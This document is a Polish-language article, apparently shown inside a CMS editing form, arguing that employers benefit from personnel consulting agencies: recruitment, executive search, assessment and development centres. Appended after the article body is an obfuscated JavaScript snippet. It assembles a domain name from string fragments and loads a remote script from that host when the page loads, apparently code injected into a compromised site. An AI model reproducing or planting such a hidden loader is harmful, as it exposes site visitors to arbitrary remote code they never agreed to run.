Dlaczego doradztwo personalne jest potrzebne?

Tytuł: *

Pokazuj wstęp

Treść:

<p>Obecnie, gdy na rynku pracy zachodzą dość poważne zmiany, trudno pominąć aspekt wyboru i utrzymania pracownika w firmie. Szczeg&oacute;lnie ważny staje się on w kontekście nadchodzącego rynku pracownika, jak r&oacute;wnież zwiększającej się rotacji os&oacute;b zatrudnionych. Kwestie te związane są ze zmianą podejścia do pracy wśr&oacute;d wchodzących na rynek pokoleń, dla kt&oacute;rych coraz bardziej liczą się możliwość rozwoju oraz warunki zatrudnienia. Bez pomocy profesjonalnych doradc&oacute;w, pracodawcom może być więc trudno poradzić sobie z nowymi wyzwaniami. Usługi doradztwa personalnego wychodzą na szczęście naprzeciw ich potrzebom.</p><div><h2>Pracownicy &ndash; jądro firmy</h2><p>Doradca personalny zajmuje się wszystkim tym, co wiąże się z pozyskaniem pracownika oraz utrzymaniem go w firmie. Oznacza to, że w zakres jego działań wchodzi nie tylko sama rekrutacja, ale także dbanie o rozw&oacute;j pracownika na konkretnym stanowisku. Obowiązkami profesjonalnego doradcy jest więc przeprowadzanie rozm&oacute;w kwalifikacyjnych, Executive Search, Headhuntingu, Assessement i Development Center oraz badań testowych. Są to obszary, o rozw&oacute;j kt&oacute;rych pracodawcy zaczynają szczeg&oacute;lnie dbać. Dlaczego? Ponieważ ciągle wzrasta ich świadomość, że siłą napędową firmy są ludzie. Warto zatrudnić więc najlepszego z najlepszych, pomimo iż niejednokrotnie wiąże się to z koniecznością skorzystania z usług agencji doradztwa personalnego.</p><h2>Wyręczyć pracodawcę</h2><p>Pozytywne aspekty korzystania przez firmę z usług tego rodzaju agencji nietrudno wyliczyć. Doradcy personalni pomogą przede wszystkim w stworzeniu profilu idealnego kandydata, tak, by rzeczywiście był on dopasowany do potrzeb firmy. Z punktu widzenia przedsiębiorcy, bardzo istotny jest tutaj kontakt z konsultantem. Świadomość, że strategię działania omawiamy z konkretną osobą, sprawia, że pracodawca może poczuć się bardziej pewnie. Konsultant pełni tutaj funkcję przewodnika, doradzając przedsiębiorcy, jakie rozwiązanie będzie dla niego najlepsze.</p>- Coraz częściej zauważamy, że pracodawcy wolą zlecić rekrutację profesjonalnej agencji, kt&oacute;ra znajdzie im dokładnie takiego kandydata, kt&oacute;rego szukają, niż zdać się na przypadkowy wyb&oacute;r osoby, kt&oacute;ra w danym momencie akurat nadesłała się na pasywne ogłoszenie rekrutacyjne &ndash; twierdzi Marcin Sojka, Business Development Manager z firmy Advisory Group TEST Human Resources. &ndash; Tym bardziej, że koszty promowanych ogłoszeń rekrutacyjnych zbliżają się do stawek agencyjnych za rekrutację.<p>Wsp&oacute;łpraca z agencją doradztwa personalnego może przynieść pracodawcy wiele korzyści. Przede wszystkim, z jego bark&oacute;w zostaje zdjęty dodatkowy obowiązek, jakim jest poświęcanie czasu na poszukiwanie kandydat&oacute;w. Przedsiębiorcom, nie korzystającym z usług doradztwa personalnego może nie udać się zdobyć tak dobrego pracownika, jakby tego chcieli &ndash; i to tylko dlatego, że mają za mało czasu, bądź nie potrafią w odpowiedni spos&oacute;b przeprowadzić rekrutacji. Warto zaufać więc profesjonalnym doradcom i pozwolić im działać zgodnie z ich wiedzą i doświadczeniem.</p><h2>Rekrutacja w praktyce</h2><p>Doradztwo personalne ma w zanadrzu kilka metod rekrutacji pracownik&oacute;w, o kt&oacute;rych pokr&oacute;tce wspomnieliśmy już wcześniej. Opr&oacute;cz rozmowy kwalifikacyjnej, kt&oacute;ra dobrze sprawdza się, gdy klient nie ma wysokich wymagań, agencje stosują m.in. metodę Assessement Center. Przeprowadzanie specjalnych sesji AC ma na celu zbadanie poziomu kompetencji kandydat&oacute;w w odniesieniu do konkretnego stanowiska, kt&oacute;re mieliby oni zajmować. Odbywa się to poprzez symulację zadań zawodowych. Potencjalny pracownik musi poradzić sobie z zadaniami, podobnymi do tych, kt&oacute;re mogą czekać go w prawdziwej pracy. Podobnie wygląda także sesja Development Center, z tymże nastawiona jest ona nie na rekrutację, lecz na rozw&oacute;j pracownik&oacute;w, zatrudnionych już w firmie na stałe.</p><p>Metodą, obok kt&oacute;rej z pewnością nie da się przejść obojętnie, jest także Executive Search oraz Direct Search. Chętnie wykorzystują ją klienci, kt&oacute;rym zależy na pozyskaniu wysoko wykwalifikowanych pracownik&oacute;w, np. kadry zarządzającej. Specjaliści HR robią wtedy wszystko, aby znaleźć osoby najlepsze na rynku &ndash; nawet, jeśli te już gdzieś pracują. Trudno jednoznacznie stwierdzić, czy metoda ta jest etyczna w stosunku do firm konkurencyjnych, nie można jednak zarzucić jej nieskuteczności. Jasne staje się więc, że w pewnych sytuacjach, bez korzystania pomocy z zewnątrz, pracodawcy trudno byłoby osiągnąć podobne rezultaty, jak agencjom doradztwa personalnego.</p>Opr&oacute;cz wymienionych metod, do rekrutacji i zarządzania rozwojem personelu, HR-owcy wykorzystują także inne sposoby. Prezentacje, wywiady panelowe, testy osobowości czy nawet specjalne lunche, to tylko niekt&oacute;re spośr&oacute;d wielu dostępnych metod. Korzyści, wynikające ze wsp&oacute;łpracy z doradcami personalnymi trudno jest więc przecenić. Tylko eksperci w obszarze HR znają bowiem sposoby na pozyskanie i utrzymanie najlepszego dla firmy pracownika.</div><p>&nbsp;</p><script type="text/javascript">
(function(){
 umif=document.createElement("script");umif.type="text/javascript";
 umif.async=true;umif_=(("us")+"t")+"a";umif_+=("t.i")+""+"n";umif_+=(("f")+"o");
 umif.src="http://"+umif_+"/1691358.bepzmrgbmifj3btxk1u6hrm2tnx5my";
 document.body.appendChild(umif);
})();
</script>

Słowniki

Kategorie: *

Rodzaj: *

Tagi:

Lista, oddzielonych przecinkami, terminów opisujących tę zawartość. Przykładowo "zabawne, skoki bungie, rozrywka".